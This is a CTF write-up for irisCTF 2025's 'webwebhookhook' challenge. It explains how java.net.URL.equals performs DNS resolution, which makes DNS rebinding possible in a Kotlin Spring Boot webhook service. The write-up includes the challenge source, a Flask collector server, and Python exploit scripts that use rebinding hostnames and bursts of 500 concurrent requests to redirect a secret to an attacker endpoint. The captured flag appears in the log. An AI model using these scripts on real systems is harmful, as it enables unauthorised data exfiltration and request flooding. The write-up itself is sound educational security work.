• CTF
  • Kotlin

January 12, 2025

DNS Rebinding in Kotlin (webwebhookhook - irisCTF 2025)

Challenge overview

I made a service to convert webhooks into webhooks.

The challenge was created by sera and ended up being solved by 16 teams (out of 1592).

The challenge is a fairly simple webhook service written in Kotlin and using Spring Boot. There are two files that contain most of the logic.

1
package tf.irisc.chal.webwebhookhook
2
3
import org.springframework.boot.autoconfigure.SpringBootApplication
4
import org.springframework.boot.runApplication
5
6
@SpringBootApplication
7
class WebwebhookhookApplication
8
9
const val FLAG = "irisctf{test_flag}";
10
11
fun main(args: Array<String>) {
12
State.arr.add(StateType(
13
"http://example.com/admin",
14
"{"data": _DATA_, "flag": "" + FLAG + ""}",
15
"{"response": "ok"}"))
16
runApplication<WebwebhookhookApplication>(*args)
17
}
1
package tf.irisc.chal.webwebhookhook.controller
2
3
import org.springframework.http.MediaType
4
import org.springframework.stereotype.Controller
5
import org.springframework.ui.Model
6
import org.springframework.web.bind.annotation.*
7
import tf.irisc.chal.webwebhookhook.State
8
import tf.irisc.chal.webwebhookhook.StateType
9
import java.net.HttpURLConnection
10
import java.net.URI
11
12
@Controller
13
class MainController {
14
15
@GetMapping("/")
16
fun home(model: Model): String {
17
return "home.html"
18
}
19
20
@PostMapping("/webhook")
21
@ResponseBody
22
fun webhook(@RequestParam("hook") hook_str: String, @RequestBody body: String, @RequestHeader("Content-Type") contentType: String, model: Model): String {
23
var hook = URI.create(hook_str).toURL();
24
for (h in State.arr) {
25
if(h.hook == hook) {
26
var newBody = h.template.replace("_DATA_", body);
27
var conn = hook.openConnection() as? HttpURLConnection;
28
if(conn === null) break;
29
conn.requestMethod = "POST";
30
conn.doOutput = true;
31
conn.setFixedLengthStreamingMode(newBody.length);
32
conn.setRequestProperty("Content-Type", contentType);
33
conn.connect()
34
conn.outputStream.use { os ->
35
os.write(newBody.toByteArray())
36
}
37
38
return h.response
39
}
40
}
41
return "{"result": "fail"}"
42
}
43
44
@PostMapping("/create", consumes = [MediaType.APPLICATION_JSON_VALUE])
45
@ResponseBody
46
fun create(@RequestBody body: StateType): String {
47
for(h in State.arr) {
48
if(body.hook == h.hook)
49
return "{"result": "fail"}"
50
}
51
State.arr.add(body)
52
return "{"result": "ok"}"
53
}
54
}

The application maintains a list of webhooks, together with their templates and responses. The flag is kept in the template of a webhook that is sent to http://example.com/admin, a domain we clearly do not control.

We need to somehow find a way to send a request to /webhook with our webhook URL, and make the application send the flag there instead of to example.com.

Weakness - java.net.URL equals

The vulnerability in this challenge can be found here:

104
fun webhook(@RequestParam("hook") hook_str: String, @RequestBody body: String, @RequestHeader("Content-Type") contentType: String, model: Model): String {
105
var hook = URI.create(hook_str).toURL();
106
for (h in State.arr) {
107
if(h.hook == hook) {
108
var newBody = h.template.replace("_DATA_", body);
109
var conn = hook.openConnection() as? HttpURLConnection;

java.net.URL is an ancient class (it dates back to Java 1.0!) and has some strange behavior. The behavior we are interested in is the equals method. The JavaDoc for URL.equals states:

Two URL objects are equal if they have the same protocol, reference equivalent hosts, have the same port number on the host, and the same file and fragment of the file.

Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can’t be resolved, the host names must be equal without regard to case; or both host names equal to null.

Since hosts comparison requires name resolution, this operation is a blocking operation.

For some reason, the URL equality check does domain resolution! This means that we can do DNS rebinding.

DNS Rebinding Attack Flow

DNS rebinding is a TOCTOU (Time of Check, Time of Use) vulnerability. We will send a POST request to /webhook with a domain name that has a very short TTL. At first (during the equality check), the domain will point to example.com. This will make our URL equal to the admin webhook URL (http://example.com/admin) during the comparison on line 107. Then, once a connection is opened on line 109 (resulting in a new DNS lookup), we change our domain to point to our own endpoint. This should result in the flag being sent to our endpoint.

First attempt

First of all, we set up a simple server that will log all requests to /admin on our own IP.

1
from flask import Flask, request
2
3
app = Flask(__name__)
4
5
@app.route('/admin', methods=['POST'])
6
def admin():
7
try:
8
print("Received request!")
9
raw_data = request.get_data(as_text=True)
10
print(f"Raw body: {raw_data}")
11
12
return {"status": "ok"}
13
except Exception as e:
14
print(f"Error processing request: {e}")
15
return {"status": "ok"}
16
17
if __name__ == '__main__':
18
app.run(host='0.0.0.0', port=5432)

Then, we need to trigger a DNS rebinding attack. Most past writeups seem to use the DNS rebinding utility rbndr.us by Tavis Ormandy. You can define two IPs, and it seems to switch between both every 90 seconds approximately. So, we’ll try and send a lot of requests at the point that the IPs switch and see if we can get a response on our endpoint.

1
import asyncio
2
import aiohttp
3
import json
4
from datetime import datetime
5
import time
6
7
async def send_webhook_request(session, url, hook_url):
8
try:
9
async with session.post(
10
f"{url}/webhook",
11
data={"hook": hook_url}
12
) as response:
13
text = await response.text()
14
return json.loads(text)
15
except Exception as e:
16
return {"error": str(e)}
17
18
async def burst_mode(url, hook_url, duration=10, concurrency=500):
19
burst_start = time.time()
20
21
async with aiohttp.ClientSession() as session:
22
while time.time() - burst_start < duration:
23
# Create batch of parallel requests
24
tasks = []
25
for _ in range(concurrency):
26
tasks.append(send_webhook_request(session, url, hook_url))
27
28
# Wait for all requests in batch to complete
29
await asyncio.gather(*tasks)
30
31
burst_formatted = burst_start.strftime("%H:%M:%S.%f")[:-3]
32
now = datetime.now().strftime("%H:%M:%S.%f")[:-3]
33
print(f"[start: {burst_formatted}][end: {now}] Batch completed, {concurrency} requests")
34
35
async def main():
36
challenge_url = "https://webwebhookhook-1c03d47aa4a4a46c.i.chal.irisc.tf"
37
hook_url = "http://5db8d70e.01020304.rbndr.us/admin"
38
39
while True:
40
try:
41
await burst_mode(challenge_url, hook_url)
42
except Exception as e:
43
print(f"Error occurred: {e}")
44
45
if __name__ == "__main__":
46
try:
47
asyncio.run(main())
48
except KeyboardInterrupt:
49
print("Shutting down...")
50

We try to run it several times (and then some more just to be sure), but never receive a response. What is going on?

Getting it right

As it turns out, the JVM maintains its own DNS resolver cache. Our current attempts always fail, as the IP of example.com is cached after the URL comparison, and then the POST request will simply be sent to that same IP.

Now that we know what is going on, we can try to abuse this DNS cache. By default, cache entries have a TTL of 30 seconds. Luckily, there exists a DNS rebinding service called 1u.ms. It gives us a URL that will:

  • Resolve to the first IP when the DNS server is first queried.
  • Then resolves to the second IP starting from the next query, for a duration that we can define.

So now, the idea is to send a request to /webhook once with the 1u.ms URL, allowing the DNS resolver to cache the IP of example.com. We’ll configure 1u.ms to resolve to our own IP for 50 seconds from here on (just to be safe). After 25 seconds, we send a lot of requests to /webhook. Hopefully, we will have at least one request where the DNS entry is still in cache in time for the comparison, but out of the cache for the POST request, sending us the flag.

We change the exploit to the following:

1
import asyncio
2
import aiohttp
3
import json
4
from datetime import datetime
5
import time
6
7
async def send_webhook_request(session, url, hook_url):
8
try:
9
async with session.post(
10
f"{url}/webhook",
11
data={"hook": hook_url}
12
) as response:
13
text = await response.text()
14
return json.loads(text)
15
except Exception as e:
16
return {"error": str(e)}
17
18
async def burst_mode(url, hook_url, duration=10, concurrency=500):
19
"""Send many parallel requests for specified duration"""
20
print("Starting burst mode!")
21
burst_start = time.time()
22
23
async with aiohttp.ClientSession() as session:
24
while time.time() - burst_start < duration:
25
# Create batch of parallel requests
26
tasks = []
27
for _ in range(concurrency):
28
tasks.append(send_webhook_request(session, url, hook_url))
29
30
# Wait for all requests in batch to complete
31
await asyncio.gather(*tasks)
32
33
burst_formatted = burst_start.strftime("%H:%M:%S.%f")[:-3]
34
now = datetime.now().strftime("%H:%M:%S.%f")[:-3]
35
print(f"[start: {burst_formatted}][end: {now}] Batch completed, {concurrency} requests")
36
37
async def main():
38
challenge_url = "https://webwebhookhook-1c03d47aa4a4a46c.i.chal.irisc.tf"
39
hook_url = "http://make-93.184.215.14-rebindfor50s-1.2.3.4-rr.1u.ms/admin"
40
41
print(f"Starting webhook requests to {hook_url}")
42
43
try:
44
# Send initial request
45
async with aiohttp.ClientSession() as session:
46
result = await send_webhook_request(session, challenge_url, hook_url)
47
print(f"Initial response: {result}")
48
49
print("Waiting 25 seconds...")
50
await asyncio.sleep(25)
51
52
await burst_mode(challenge_url, hook_url)
53
54
except Exception as e:
55
print(f"Error occurred: {e}")
56
57
if __name__ == "__main__":
58
try:
59
asyncio.run(main())
60
except KeyboardInterrupt:
61
print("Shutting down...")

We let it run, check our server logs, and this time we see some output.

1
34.34.83.249 - - [05/Jan/2025 18:07:07] "POST /admin HTTP/1.1" 200 -
2
Received request!
3
Raw data received: {"data": hook=http%3A%2F%2Fmake-93.184.215.14-rebindfor50s-1.2.3.4-rr.1u.ms%2Fadmin,
4
"flag": "irisctf{url_equals_rebind}"}

And with that, we got the flag: irisctf{url_equals_rebind}!

Conclusion

TL;DR: never use java.net.URL, use java.net.URI instead.